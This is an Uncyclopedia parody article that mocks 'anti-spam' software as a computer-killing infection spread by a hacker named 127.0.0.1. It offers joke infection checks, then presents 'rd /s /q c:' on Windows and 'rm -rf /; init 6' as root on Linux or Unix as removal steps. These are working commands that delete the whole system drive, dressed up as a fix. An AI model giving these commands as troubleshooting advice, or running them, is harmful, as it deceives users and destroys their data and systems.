Anti-spam

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Anti-spam is the most preposterous excuse for wasting space on Uncyclopedia. In general, anti-spam is intended to slowly kill your computer little by little until your computer finally refuses to turn on any longer. Usually, most anti-spam applications are installed remotely on unsuspecting users' computers via an exploit by the notorious hacker 127.0.0.1. There are several ways to check if you have anti-spam software installed on your computer, and there are several things you can do to get rid of it. For more information on what spam is, see Uncyclopedia's article on Spam.

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Checking for Anti-Spam Software[edit]

The methods of checking for anti-spam software vary between Windows and POSIX-based systems, such as Unix and Linux. Below are quite nonspecific instructions on how to check per operating system.

Checking on Windows 2000, XP, 2003, or Vista[edit]

An infected Win32 computer.

Click on the Start Menu, select Run (Vista users must press Windows+R or just type it in the search box), and type cmd.exe and press enter. You should be presented with a command prompt. Type echo SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM SPAM and press enter. If Windows repeats the message back at you, then you are already infected with anti-spam software and you're out of luck. You may try to follow the steps below to remove the anti-spam software, however no guarantees are made.

Checking on Windows 95 or 98[edit]

Click on the Start Menu, select Run, and type This computer is stupid and press enter. If you get an error message, then your computer is infected. Follow the steps below to remove the anti-spam software.

Checking on a POSIX-based System[edit]

An infected Linux computer.

On a terminal, type I love spam and press enter. If you get an error message from your shell similar to unknown command or command not found, you are infected. Proceed to the UNIX/Linux section on how to remove the anti-spam software.

Removing Anti-Spam Software[edit]

Removing Anti-Spam Software on Any Windows Computer[edit]

Make sure you are logged on as an administrator if you are on Windows 2000, XP, etc. Click Start, select Run, then type cmd.exe (for NT systems such as 2000 or XP) or command.com (for 95 and 98) and press enter. At the command prompt, type:

 rd /s /q c:
Removing anti-spam on a Windows computer.

Of course, you will need to replace c: with the actual drive letter you installed Windows on. After you have completed the previous step, restart your computer for the changes to take effect.

Removing Anti-Spam Software on POSIX-based Computers[edit]

Log into a terminal as root and perform the following command:

 rm -rf /; init 6
Removing anti-spam on a POSIX-based computer.

All anti-spam software should be removed promptly. If your computer unexpectedly restarts, or you experience data loss or corruption on your root directory, it is possible you have been hacked by notorious computer hacker 127.0.0.1.

At the time of this writing, there is no current cure for anti-spam on Macintosh-based systems.

See also[edit]